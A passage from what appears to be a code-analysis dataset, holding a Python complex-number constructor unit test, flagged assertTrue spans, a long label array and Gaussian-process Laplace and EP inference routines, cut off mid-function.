self.assertAlmostEqual(complex(10+0j), 10+0j)\n self.assertAlmostEqual(complex(1,10), 1+10j)\n self.assertAlmostEqual(complex(1,10L), 1+10j)\n self.assertAlmostEqual(complex(1,10.0), 1+10j)\n self.assertAlmostEqual(complex(1L,10), 1+10j)\n self.assertAlmostEqual(complex(1L,10L), 1+10j)\n self.assertAlmostEqual(complex(1L,10.0), 1+10j)\n self.assertAlmostEqual(complex(1.0,10), 1+10j)\n self.assertAlmostEqual(complex(1.0,10L), 1+10j)\n self.assertAlmostEqual(complex(1.0,10.0), 1+10j)\n self.assertAlmostEqual(complex(3.14+0j), 3.14+0j)\n self.assertAlmostEqual(complex(3.14), 3.14+0j)\n self.assertAlmostEqual(complex(314), 314.0+0j)\n self.assertAlmostEqual(complex(314L), 314.0+0j)\n self.assertAlmostEqual(complex(3.14+0j, 0j), 3.14+0j)\n self.assertAlmostEqual(complex(3.14, 0.0), 3.14+0j)\n self.assertAlmostEqual(complex(314, 0), 314.0+0j)\n self.assertAlmostEqual(complex(314L, 0L), 314.0+0j)\n self.assertAlmostEqual(complex(0j, 3.14j), -3.14+0j)\n self.assertAlmostEqual(complex(0.0, 3.14j), -3.14+0j)\n self.assertAlmostEqual(complex(0j, 3.14), 3.14j)\n self.assertAlmostEqual(complex(0.0, 3.14), 3.14j)\n self.assertAlmostEqual(complex(\"1\"), 1+0j)\n self.assertAlmostEqual(complex(\"1j\"), 1j)\n self.assertAlmostEqual(complex(), 0)\n self.assertAlmostEqual(complex(\"-1\"), -1)\n self.assertAlmostEqual(complex(\"+1\"), +1)\n #FIXME: these are not working in Jython.\n #self.assertAlmostEqual(complex(\"(1+2j)\"), 1+2j)\n #self.assertAlmostEqual(complex(\"(1.3+2.2j)\"), 1.3+2.2j)\n self.assertAlmostEqual(complex(\"3.14+1J\"), 3.14+1j)\n #FIXME: these are not working in Jython.\n #self.assertAlmostEqual(complex(\" ( +3.14-6J )\"), 3.14-6j)\n #self.assertAlmostEqual(complex(\" ( +3.14-J )\"), 3.14-1j)\n #self.assertAlmostEqual(complex(\" ( +3.14+j )\"), 3.14+1j)\n self.assertAlmostEqual(complex(\"J\"), 1j)\n #FIXME: this is not working in Jython.\n #self.assertAlmostEqual(complex(\"( j )\"), 1j)\n self.assertAlmostEqual(complex(\"+J\"), 1j)\n #FIXME: this is not working in Jython.\n #self.assertAlmostEqual(complex(\"( -j)\"), -1j)\n self.assertAlmostEqual(complex('1e-500'), 0.0 + 0.0j)\n self.assertAlmostEqual(complex('-1e-500j'), 0.0 - 0.0j)\n self.assertAlmostEqual(complex('-1e-500+1e-500j'), -0.0 + 0.0j)\n\n class complex2(complex): pass\n self.assertAlmostEqual(complex(complex2(1+1j)), 1+1j)\n self.assertAlmostEqual(complex(real=17, imag=23), 17+23j)\n self.assertAlmostEqual(complex(real=17+23j), 17+23j)\n self.assertAlmostEqual(complex(real=17+23j, imag=23), 17+46j)\n self.assertAlmostEqual(complex(real=1+2j, imag=3+4j), -3+5j)\n\n # check that the sign of a zero in the real or imaginary part\n # is preserved when constructing from two floats. (These checks\n # are harmless on systems without support for signed zeros.)\n def split_zeros(x):\n \"\"\"Function that produces different results for 0. and -0.\"\"\"\n return atan2(x, -1.)\n\n self.assertEqual(split_zeros(complex(1., 0.).imag), split_zeros(0.))\n #FIXME: this is not working in Jython.\n #self.assertEqual(split_zeros(complex(1., -0.).imag), split_zeros(-0.))\n self.assertEqual(split_zeros(complex(0., 1.).real), split_zeros(0.))\n self.assertEqual(split_zeros(complex(-0., 1.).real), split_zeros(-0.))\n\n c = 3.14 + 1j\n self.assertTrue(complex(c) is c)\n del c\n\n self.assertRaises(TypeError, complex, \"1\", \"1\")\n self.assertRaises(TypeError, complex, 1, \"1\")\n\n if test_support.have_unicode:\n self.assertEqual(complex(unicode(\" 3.14+J \")), 3.14+1j)\n\n # SF bug 543840: complex(string) accepts strings with \\0\n # Fixed in 2.3.\n self.assertRaises(ValueError, complex, '1+1j\\0j')\n\n self.assertRaises(TypeError, int, 5+3j)\n self.assertRaises(TypeError, long, 5+3j)\n self.assertRaises(TypeError, float, 5+3j)\n self.assertRaises(ValueError, complex, \"\")\n self.assertRaises(TypeError, complex, None)\n self.assertRaises(ValueError, complex, \"\\0\")\n self.assertRaises(ValueError, complex, \"3\\09\")\n self.assertRaises(TypeError, complex, \"1\", \"2\")\n self.assertRaises(TypeError, complex, \"1\", 42)\n self.assertRaises(TypeError, complex, 1, \"2\")\n self.assertRaises(ValueError, complex, \"1+\")\n self.assertRaises(ValueError, complex, \"1+1j+1j\")\n self.assertRaises(ValueError, complex, \"--\")\n self.assertRaises(ValueError, complex, \"(1+2j\")\n self.assertRaises(ValueError, complex, \"1+2j)\")\n self.assertRaises(ValueError, complex, \"1+(2j)\")\n self.assertRaises(ValueError, complex, \"(1+2j)123\")\n if test_support.have_unicode:\n self.assertRaises(ValueError, complex, unicode(\"x\"))\n #FIXME: these are raising wrong errors in Jython.\n #self.assertRaises(ValueError, complex, \"1j+2\")\n #self.assertRaises(ValueError, complex, \"1e1ej\")\n #self.assertRaises(ValueError, complex, \"1e++1ej\")\n #self.assertRaises(ValueError, complex, \")1+2j(\")\n\n # the following three are accepted by Python 2.6\n #FIXME: these are raising wrong errors in Jython.\n #self.assertRaises(ValueError, complex, \"1..1j\")\n #self.assertRaises(ValueError, complex, \"1.11.1j\")\n #self.assertRaises(ValueError, complex, \"1e1.1j\")\n\n #FIXME: not working in Jython.\n #if test_support.have_unicode:\n # # check that complex accepts long unicode strings\n # self.assertEqual(type(complex(unicode(\"1\"*500))), complex)\n\n class EvilExc(Exception):\n pass\n\n class evilcomplex:\n def __complex__(self):\n raise EvilExc\n\n self.assertRaises(EvilExc, complex, evilcomplex())\n\n class float2:\n def __init__(self, value):\n self.value = value\n def __float__(self):\n return self.value\n\n self.assertAlmostEqual(complex(float2(42.)), 42)\n self.assertAlmostEqual(complex(real=float2(17.), imag=float2(23.)), 17+23j)\n self.assertRaises(TypeError, complex, float2(None))\n\n class complex0(complex):\n \"\"\"Test usage of __complex__() when inheriting from 'complex'\"\"\"\n def __complex__(self):\n return 42j\n\n class complex1(complex):\n \"\"\"Test usage of __complex__() with a __new__() method\"\"\"\n def __new__(self, value=0j):\n return complex.__new__(self, 2*value)\n def __complex__(self):\n return self\n\n class complex2(complex):\n \"\"\"Make sure that __complex__() calls fail if anything other than a\n complex is returned\"\"\"\n def __complex__(self):\n return None\n\n self.assertAlmostEqual(complex(complex0(1j)), 42j)\n self.assertAlmostEqual(complex(complex1(1j)), 2j)\n self.assertRaises(TypeError, complex, complex2(1j))", "metadata": "root.ComplexTest.test_constructor", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 222 } ]

[ { "span": "self.assertTrue(abs((x-y)/y) < eps)", "start_line": 37, "start_column": 8, "end_line": 37, "end_column": 43 }, { "span": "self.assertTrue(a < 2.0j)", "start_line": 128, "start_column": 8, "end_line": 128, "end_column": 33 }, { "span": "self.assertTrue(complex(c) is c)", "start_line": 304, "start_column": 8, "end_line": 304, "end_column": 40 } ]

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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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[ { "content": " def evaluate(self, meanfunc, covfunc, likfunc, x, y, nargout=1):\n tol = 1e-6 # tolerance for when to stop the Newton iterations\n smax = 2; Nline = 20; thr = 1e-4 # line search parameters\n maxit = 20 # max number of Newton steps in f\n inffunc = self\n K = covfunc.getCovMatrix(x=x, mode='train') # evaluate the covariance matrix\n m = meanfunc.getMean(x) # evaluate the mean vector\n n, D = x.shape\n Psi_old = np.inf # make sure while loop starts by the largest old objective val\n if self.last_alpha is None: # find a good starting point for alpha and f\n alpha = np.zeros((n,1))\n f = np.dot(K,alpha) + m # start at mean if sizes not match\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W= -d2lp\n Psi_new = -lp.sum()\n else:\n alpha = self.last_alpha\n f = np.dot(K,alpha) + m # try last one\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W= -d2lp\n Psi_new = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() # objective for last alpha\n vargout = - likfunc.evaluate(y, m, None, inffunc, None, 1)\n Psi_def = vargout[0] # objective for default init f==m\n if Psi_def < Psi_new: # if default is better, we use it\n alpha = np.zeros((n,1))\n f = np.dot(K,alpha) + m\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp; Psi_new = -lp.sum()\n isWneg = np.any(W<0) # flag indicating whether we found negative values of W\n it = 0 # this happens for the Student's t likelihood\n\n while (Psi_old - Psi_new > tol) and it<maxit: # begin Newton\n Psi_old = Psi_new; it += 1\n if isWneg: # stabilise the Newton direction in case W has negative values\n W = np.maximum(W,0) # stabilise the Hessian to guarantee postive definiteness\n tol = 1e-10 # increase accuracy to also get the derivatives right\n #sW = np.sqrt(W); L = np.linalg.cholesky(np.eye(n) + np.dot(sW,sW.T)*K).T\n sW = np.sqrt(W); L = jitchol(np.eye(n) + np.dot(sW,sW.T)*K).T\n b = W*(f-m) + dlp;\n dalpha = b - sW*solve_chol(L,sW*np.dot(K,b)) - alpha\n vargout = brentmin(0,smax,Nline,thr,self._Psi_line,4,dalpha,alpha,K,m,likfunc,y,inffunc)\n s = vargout[0]\n Psi_new = vargout[1]\n Nfun = vargout[2]\n alpha = vargout[3]\n f = vargout[4]\n dlp = vargout[5]\n W = vargout[6]\n isWneg = np.any(W<0)\n self.last_alpha = alpha # remember for next call\n vargout = likfunc.evaluate(y,f,None,inffunc,None,4)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]; d3lp = vargout[3]\n W = -d2lp; isWneg = np.any(W<0)\n post = postStruct()\n post.alpha = alpha # return the posterior parameters\n post.sW = np.sqrt(np.abs(W))*np.sign(W) # preserve sign in case of negative\n if isWneg:\n [ldA,iA,post.L] = self._logdetA(K,W,3)\n nlZ = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() + old_div(ldA,2.)\n nlZ = nlZ[0]\n else:\n sW = post.sW\n #post.L = np.linalg.cholesky(np.eye(n)+np.dot(sW,sW.T)*K).T\n post.L = jitchol(np.eye(n)+np.dot(sW,sW.T)*K).T\n nlZ = old_div(np.dot(alpha.T,(f-m)),2.) + (np.log(np.diag(post.L))-np.reshape(lp,(lp.shape[0],))).sum()\n nlZ = nlZ[0]\n if nargout>2: # do we want derivatives?\n dnlZ = dnlZStruct(meanfunc, covfunc, likfunc) # allocate space for derivatives\n if isWneg: # switch between Cholesky and LU decomposition mode\n Z = -post.L # inv(K+inv(W))\n g = old_div(np.atleast_2d((iA*K).sum(axis=1)).T,2) # deriv. of ln|B| wrt W; g = diag(inv(inv(K)+diag(W)))/2\n else:\n Z = np.tile(sW,(1,n))*solve_chol(post.L,np.diag(np.reshape(sW,(sW.shape[0],)))) #sW*inv(B)*sW=inv(K+inv(W))\n C = np.linalg.solve(post.L.T,np.tile(sW,(1,n))*K) # deriv. of ln|B| wrt W\n g = old_div(np.atleast_2d((np.diag(K)-(C**2).sum(axis=0).T)).T,2.) # g = diag(inv(inv(K)+W))/2\n dfhat = g* d3lp # deriv. of nlZ wrt. fhat: dfhat=diag(inv(inv(K)+W)).*d3lp/2\n for ii in range(len(covfunc.hyp)): # covariance hypers\n dK = covfunc.getDerMatrix(x=x, mode='train', der=ii)\n dnlZ.cov[ii] = old_div((Z*dK).sum(),2.) - old_div(np.dot(alpha.T,np.dot(dK,alpha)),2.) # explicit part\n b = np.dot(dK,dlp) # b-K*(Z*b) = inv(eye(n)+K*diag(W))*b\n dnlZ.cov[ii] -= np.dot(dfhat.T,b-np.dot(K,np.dot(Z,b))) # implicit part\n dnlZ.cov[ii] = dnlZ.cov[ii][0,0]\n for ii in range(len(likfunc.hyp)): # likelihood hypers\n [lp_dhyp,dlp_dhyp,d2lp_dhyp] = likfunc.evaluate(y,f,None,inffunc,ii,3)\n dnlZ.lik[ii] = -np.dot(g.T,d2lp_dhyp) - lp_dhyp.sum() # explicit part\n b = np.dot(K,dlp_dhyp) # b-K*(Z*b) = inv(eye(n)+K*diag(W))*b\n dnlZ.lik[ii] -= np.dot(dfhat.T,b-np.dot(K,np.dot(Z,b))) # implicit part\n dnlZ.lik[ii] = dnlZ.lik[ii][0,0]\n for ii in range(len(meanfunc.hyp)): # mean hypers\n dm = meanfunc.getDerMatrix(x, ii)\n dnlZ.mean[ii] = -np.dot(alpha.T,dm) # explicit part\n dnlZ.mean[ii] -= np.dot(dfhat.T,dm-np.dot(K,np.dot(Z,dm))) # implicit part\n dnlZ.mean[ii] = dnlZ.mean[ii][0,0]\n return post,nlZ[0],dnlZ\n else:\n return post, nlZ[0]", "metadata": "root.Laplace.evaluate", "header": "['class', 'Laplace', '(', 'Inference', ')', ':', '___EOS___']", "index": 457 }, { "content": " def evaluate(self, meanfunc, covfunc, likfunc, x, y, nargout=1):\n if not isinstance(covfunc, cov.FITCOfKernel):\n raise Exception('Only covFITC supported.')\n tol = 1e-6 # tolerance for when to stop the Newton iterations\n smax = 2; Nline = 100; thr = 1e-4 # line search parameters\n maxit = 20 # max number of Newton steps in f\n inffunc = Laplace()\n diagK,Kuu,Ku = covfunc.getCovMatrix(x=x, mode='train') # evaluate the covariance matrix\n m = meanfunc.getMean(x) # evaluate the mean vector\n if likfunc.hyp: # hard coded inducing inputs noise\n sn2 = np.exp(2.*likfunc.hyp[-1])\n snu2 = 1.e-6*sn2 # similar to infFITC\n else:\n snu2 = 1.e-6\n\n n, D = x.shape\n nu = Kuu.shape[0]\n rot180 = lambda A: np.rot90(np.rot90(A)) # little helper functions\n #chol_inv = lambda A: np.linalg.solve( rot180( np.linalg.cholesky(rot180(A)) ),np.eye(nu)) # chol(inv(A))\n chol_inv = lambda A: rot180( np.linalg.solve(jitchol(rot180(A)), np.eye(nu)) ) # chol(inv(A))\n \n R0 = chol_inv(Kuu+snu2*np.eye(nu)) # initial R, used for refresh O(nu^3)\n V = np.dot(R0,Ku); d0 = diagK - np.array([(V*V).sum(axis=0)]).T # initial d, needed\n\n Psi_old = np.inf # make sure while loop starts by the largest old objective val\n if self.last_alpha is None: # find a good starting point for alpha and f\n alpha = np.zeros((n,1))\n f = self._mvmK(alpha,V,d0) + m # start at mean if sizes not match\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp; Psi_new = -lp.sum()\n else:\n alpha = self.last_alpha\n f = self._mvmK(alpha,V,d0) + m # try last one\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp\n Psi_new = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() # objective for last alpha\n vargout = - likfunc.evaluate(y, m, None, inffunc, None, 1)\n Psi_def = vargout[0] # objective for default init f==m\n if Psi_def < Psi_new: # if default is better, we use it\n alpha = np.zeros((n,1))\n f = self._mvmK(alpha,V,d0) + m\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp; Psi_new = -lp.sum()\n\n isWneg = np.any(W<0) # flag indicating whether we found negative values of W\n it = 0 # this happens for the Student's t likelihood\n\n while (Psi_old - Psi_new > tol) and it<maxit: # begin Newton\n Psi_old = Psi_new\n it += 1\n if isWneg: # stabilise the Newton direction in case W has negative values\n W = np.maximum(W,0) # stabilise the Hessian to guarantee postive definiteness\n tol = 1e-8 # increase accuracy to also get the derivatives right\n b = W*(f-m) + dlp; dd = old_div(1,(1+W*d0))\n RV = np.dot( chol_inv( np.eye(nu) + np.dot(V*np.tile((W*dd).T,(nu,1)),V.T)),V )\n dalpha = dd*b - (W*dd)*np.dot(RV.T,np.dot(RV,(dd*b))) - alpha # Newt dir + line search\n vargout = brentmin(0,smax,Nline,thr,self._Psi_lineFITC,4,dalpha,alpha,V,d0,m,likfunc,y,inffunc)\n s = vargout[0]; Psi_new = vargout[1]; Nfun = vargout[2]; alpha = vargout[3]\n f = vargout[4]; dlp = vargout[5]; W = vargout[6]\n isWneg = np.any(W<0)\n\n self.last_alpha = alpha # remember for next call\n vargout = likfunc.evaluate(y,f,None,inffunc,None,4)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]; d3lp = vargout[3]\n\n W=-d2lp; isWneg = np.any(W<0)\n post = postStruct()\n post.alpha = np.dot(R0.T,np.dot(V,alpha)) # return the posterior parameters\n post.sW = np.sqrt(np.abs(W))*np.sign(W) # preserve sign in case of negative\n dd = old_div(1,(1+d0*W)) # temporary variable O(n)\n A = np.eye(nu) + np.dot(V*np.tile((W*dd).T,(nu,1)),V.T) # temporary variable O(n*nu^2)\n R0tV = np.dot(R0.T,V); B = R0tV*np.tile((W*dd).T,(nu,1)) # temporary variables O(n*nu^2)\n post.L = -np.dot(B,R0tV.T) # L = -R0'*V*inv(Kt+diag(1./ttau))*V'*R0, first part\n if np.any(1+d0*W<0):\n raise Exception('W is too negative; nlZ and dnlZ cannot be computed.')\n #nlZ = np.dot(alpha.T,(f-m))/2. - lp.sum() - np.log(dd).sum()/2. + \\\n # np.log(np.diag(np.linalg.cholesky(A).T)).sum()\n nlZ = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() - old_div(np.log(dd).sum(),2.) + \\\n np.log(np.diag(jitchol(A).T)).sum()\n RV = np.dot(chol_inv(A),V)\n RVdd = RV * np.tile((W*dd).T,(nu,1)) # RVdd needed for dnlZ\n B = np.dot(B,RV.T)\n post.L += np.dot(B,B.T)\n\n if nargout>2: # do we want derivatives?\n dnlZ = dnlZStruct(meanfunc, covfunc, likfunc) # allocate space for derivatives\n [d,P,R] = self._fitcRefresh(d0,Ku,R0,V,W) # g = diag(inv(inv(K)+W))/2\n g = old_div(d,2) + 0.5*np.atleast_2d((np.dot(np.dot(R,R0),P)**2).sum(axis=0)).T\n t = old_div(W,(1+W*d0))\n\n dfhat = g*d3lp # deriv. of nlZ wrt. fhat: dfhat=diag(inv(inv(K)+W)).*d3lp/2\n for ii in range(len(covfunc.hyp)): # covariance hypers\n ddiagK,dKuu,dKu = covfunc.getDerMatrix(x=x, mode='train', der=ii) # eval cov derivatives\n dA = 2.*dKu.T-np.dot(R0tV.T,dKuu) # dQ = dA*R0tV\n w = np.atleast_2d((dA*R0tV.T).sum(axis=1)).T # w = diag(dQ)\n v = ddiagK-w # v = diag(dK)-diag(dQ);\n dnlZ.cov[ii] = np.dot(ddiagK.T,t) - np.dot((RVdd*RVdd).sum(axis=0),v) # explicit part\n dnlZ.cov[ii] -= (np.dot(RVdd,dA)*np.dot(RVdd,R0tV.T)).sum() # explicit part\n dnlZ.cov[ii] = 0.5*dnlZ.cov[ii] - old_div(np.dot(alpha.T,np.dot(dA,np.dot(R0tV,alpha))+v*alpha),2.) # explicit\n b = np.dot(dA,np.dot(R0tV,dlp)) + v*dlp # b-K*(Z*b) = inv(eye(n)+K*diag(W))*b\n KZb = self._mvmK(self._mvmZ(b,RVdd,t),V,d0)\n dnlZ.cov[ii] -= np.dot(dfhat.T,(b-KZb)) # implicit part\n dnlZ.cov[ii] = dnlZ.cov[ii][0,0]\n\n for ii in range(len(likfunc.hyp)): # likelihood hypers\n vargout = likfunc.evaluate(y,f,None,inffunc,ii,3)\n lp_dhyp = vargout[0]; dlp_dhyp = vargout[1]; d2lp_dhyp = vargout[2]\n dnlZ.lik[ii] = -np.dot(g.T,d2lp_dhyp) - lp_dhyp.sum() # explicit part\n b = self._mvmK(dlp_dhyp,V,d0) # implicit part\n dnlZ.lik[ii] -= np.dot(dfhat.T,b-self._mvmK(self._mvmZ(b,RVdd,t),V,d0))\n if ii == len(likfunc.hyp)-1:\n # since snu2 is a fixed fraction of sn2, there is a covariance-like term\n # in the derivative as well\n snu = np.sqrt(snu2);\n T = chol_inv(Kuu + snu2*np.eye(nu));\n T = np.dot(T.T,np.dot(T,snu*Ku));\n t = np.array([(T*T).sum(axis=0)]).T\n z = np.dot(alpha.T,np.dot(T.T,np.dot(T,alpha))-t*alpha) - np.dot(np.array([(RVdd*RVdd).sum(axis=0)]),t)\n z += (np.dot(RVdd,T.T)**2).sum()\n b = old_div((t*dlp-np.dot(T.T,np.dot(T,dlp))),2.)\n KZb = self._mvmK(self._mvmZ(b,RVdd,t),V,d0)\n z -= np.dot(dfhat.T,b-KZb)\n dnlZ.lik[ii] += z\n dnlZ.lik[ii] = dnlZ.lik[ii][0,0]\n\n for ii in range(len(meanfunc.hyp)): # mean hypers\n dm = meanfunc.getDerMatrix(x, ii)\n dnlZ.mean[ii] = -np.dot(alpha.T,dm) # explicit part\n Zdm = self._mvmZ(dm,RVdd,t)\n dnlZ.mean[ii] -= np.dot(dfhat.T,(dm-self._mvmK(Zdm,V,d0))) # implicit part\n dnlZ.mean[ii] = dnlZ.mean[ii][0,0]\n\n return post,nlZ[0,0],dnlZ\n else:\n return post, nlZ[0,0]", "metadata": "root.FITC_Laplace.evaluate", "header": "['class', 'FITC_Laplace', '(', 'Inference', ')', ':', '___EOS___']", "index": 573 }, { "content": " def evaluate(self, meanfunc, covfunc, likfunc, x, y, nargout=1):\n if not isinstance(covfunc, cov.FITCOfKernel):\n raise Exception('Only covFITC supported.') # check cov\n tol = 1e-4; max_sweep = 10; min_sweep = 2 # tolerance to stop EP iterations\n inffunc = EP()\n\n diagK,Kuu,Ku = covfunc.getCovMatrix(x=x, mode='train') # evaluate the covariance matrix\n m = meanfunc.getMean(x) # evaluate the mean vector\n\n if likfunc.hyp: # hard coded inducing inputs noise\n sn2 = np.exp(2.*likfunc.hyp[-1])\n snu2 = 1.e-6*sn2 # similar to infFITC\n else:\n snu2 = 1.e-6\n\n n, D = x.shape; nu = Kuu.shape[0]\n rot180 = lambda A: np.rot90(np.rot90(A)) # little helper functions\n #chol_inv = lambda A: np.linalg.solve( rot180( np.linalg.cholesky(rot180(A)) ),np.eye(nu)) # chol(inv(A))\n chol_inv = lambda A: rot180( np.linalg.solve(jitchol(rot180(A)), np.eye(nu)) ) # chol(inv(A))\n\n R0 = chol_inv(Kuu+snu2*np.eye(nu)) # initial R, used for refresh O(nu^3)\n V = np.dot(R0,Ku); d0 = diagK - np.array([(V*V).sum(axis=0)]).T # initial d, needed for refresh O(n*nu^2)\n\n # A note on naming: variables are given short but descriptive names in\n # accordance with Rasmussen & Williams \"GPs for Machine Learning\" (2006): mu\n # and s2 are mean and variance, nu and tau are natural parameters. A leading t\n # means tilde, a subscript _ni means \"not i\" (for cavity parameters), or _n\n # for a vector of cavity parameters.\n\n # marginal likelihood for ttau = tnu = zeros(n,1); equals n*log(2) for likCum*\n nlZ0 = -1.* likfunc.evaluate(y, m, np.reshape(diagK,(diagK.shape[0],1)), inffunc).sum()\n if self.last_ttau is None: # find starting point for tilde parameters\n ttau = np.zeros((n,1)) # initialize to zero if we have no better guess\n tnu = np.zeros((n,1))\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu) # compute initial repres.\n nlZ = nlZ0\n else:\n ttau = self.last_ttau # try the tilde values from previous call\n tnu = self.last_tnu\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu) # compute initial repres.\n nlZ = self._epfitcZ(d,P,R,nn,gg,ttau,tnu,d0,R0,Ku,y,likfunc,m,inffunc)[0]\n if nlZ > nlZ0: # if zero is better ..\n ttau = np.zeros((n,1)) # .. then initialize with zero instead\n tnu = np.zeros((n,1))\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu) # initial repres.\n nlZ = nlZ0\n\n nlZ_old = np.inf; sweep = 0 # converged, max. sweeps or min. sweeps?\n while (np.abs(nlZ-nlZ_old) > tol and sweep < max_sweep) or (sweep < min_sweep):\n nlZ_old = nlZ\n sweep += 1\n rperm = list(range(n)) # randperm(n)\n for ii in rperm: # iterate EP updates (in random order) over examples\n p_i = np.reshape(P[:,ii],(P.shape[0],1))\n t = np.dot(R,np.dot(R0,p_i)) # temporary variables\n sigma_i = d[ii] + np.dot(t.T,t); mu_i = nn[ii] + np.dot(p_i.T,gg) # post moments O(nu^2)\n tau_ni = old_div(1,sigma_i) - ttau[ii] # first find the cavity distribution ..\n nu_ni = old_div(mu_i,sigma_i) + m[ii]*tau_ni - tnu[ii] # .. params tau_ni and nu_ni\n # compute the desired derivatives of the indivdual log partition function\n vargout = likfunc.evaluate(y[ii], old_div(nu_ni,tau_ni), old_div(1,tau_ni), inffunc, None, 3)\n lZ = vargout[0]; dlZ = vargout[1]; d2lZ = vargout[2]\n ttau_i = old_div(-d2lZ,(1.+old_div(d2lZ,tau_ni)))\n ttau_i = max(ttau_i,0) # enforce positivity i.e. lower bound ttau by zero\n tnu_i = old_div(( dlZ + (m[ii]-old_div(nu_ni,tau_ni))*d2lZ ),(1.+old_div(d2lZ,tau_ni)))\n [d,P[:,ii],R,nn,gg,ttau,tnu] = self._epfitcUpdate(d,P[:,ii],R,nn,gg,ttau,tnu,ii,ttau_i,tnu_i,m,d0,Ku,R0)# update representation\n\n # recompute since repeated rank-one updates can destroy numerical precision\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu)\n [nlZ,nu_n,tau_n] = self._epfitcZ(d,P,R,nn,gg,ttau,tnu,d0,R0,Ku,y,likfunc,m,inffunc)\n if sweep == max_sweep:\n pass\n # print '[warning] maximum number of sweeps reached in function infEP'\n\n self.last_ttau = ttau\n self.last_tnu = tnu # remember for next call\n post = postStruct()\n post.sW = np.sqrt(ttau) # 